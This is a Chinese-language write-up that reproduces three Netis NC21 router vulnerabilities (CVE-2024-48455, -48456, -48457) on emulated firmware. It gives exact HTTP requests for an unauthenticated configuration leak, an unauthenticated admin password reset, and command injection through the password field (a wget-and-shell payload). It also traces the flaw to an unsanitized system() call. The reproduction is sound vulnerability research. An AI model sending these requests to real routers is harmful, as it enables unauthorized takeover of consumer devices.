Netis路由器未授权RCE复现
漏洞编号:
CVE-2024-48455、CVE-2024-48456 和 CVE-2024-48457
参考链接:
https://github.com/h00die-gr3y/h00die-gr3y/issues/2
固件
netis_NC21_V3.0.0.3800.bin ( https://www.netisru.com/support/downinfo.html?id=40 )
文件系统提取:
binwalk -Me 【file】
模拟运行
模拟工具:firmware-analysis-toolkit
搭建环境:
- Win11
- AttifyOS[192.168.121.151]
- firmware-analysis-toolkit[192.168.1.1:80]
模拟固件:
./fat.py Netis\(NC21\)-V3.0.0.3800.bin
由于我需要在Win11进行后续复现,所以做了端口转发:
sudo iptables -t nat -A PREROUTING -p tcp --dport 1234 -j DNAT --to-destination 192.168.1.1:80
sudo iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.1 --dport 80 -j MASQUERADE
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -p
模拟成功:
在进行一系列初始化后到登陆页面
漏洞复现
CVE-2024-48455
随便抓个包,此处为在登陆页抓了一个:
触发漏洞POST需修改
请求路径
POST /cgi-bin/skk_get.cgi HTTP/1.1
请求体
mode_name=skk_get&wl_link=0
发送POST请求即可触发漏洞获取路由器的所有信息,此漏洞无需进行任何的身份验证
CVE-2024-48456
这个漏洞是发生在[工具]-[管理员密码]
抓个修改管理员密码的请求
触发漏洞POST需修改请求体字段值
- password
- new_pwd_confirm
改为:注意此处为要取新密码得base64值
也就是此处我管理员的新密码就为
`wget http://192.168.1.2:8000;ip a > /test`
修改后请求:
在Attfiy开一个http服务器,此处只要你模拟的路由器能访问到即可
放行请求:http就发现被路由器请求了,也就是字段中的值被执行了
wget http://192.168.1.2:8000
观察模拟环境:
于模拟环境中查看;后续命令 ip a > /test 执行情况:执行成功
漏洞为授权的命令注入
漏洞成因为**/bin/scripts/password.sh**,这是一个软链接,指向cscripts,为一个ELF,password.sh于GUI中执行调用,也就是GUI程序使用这个作为password命令进行新密码的修改
IDA分析,可根据上述模拟环境提供的字符串定位
交叉引用定位函数:
RunSystemCmd是一个库函数,来自libapmib.so
直接就是system执行了,当然对拼接符号不做限制,上述用的是单引号,用分号这些效果一样:
使用分号例:
触发漏洞执行命令:
CVE-2024-48457
与CVE-2024-48456抓包一样即可,抓一个登陆包,改一下请求路径和请求体:
请求路径:
POST /cgi-bin/skk_set.cgi HTTP/1.1
请求体:
注意值也是需要base64处理
修改字段为wpaPsk和password字段
wl2g_idx=6&wl5g_idx=0&wlanMode=0&wl_idx=0&ssid2g=bmV0aXMtMDAwMDAw&ssid5g=bmV0aXMtMDAwMDAwLTVH&encrypt=4&wpaPsk=Q2xvc3VyZQ==&wpaPskType=2&wpaPskFormat=0&password=Q2xvc3VyZQ==&autoUpdate=0&firstSetup=1&quick_set=ap&app=wan_set_shortcut&wl_link=0
发送请求并收到回复
此时管理员密码已经被重置为你使用base64的值,我此处为Closure,即可登陆路由器
此漏洞为未授权初始化设置路由器密码可随时重复请求导致的获取管理员权限,此漏洞配合CVE-2024-48456即可实现未授权命令执行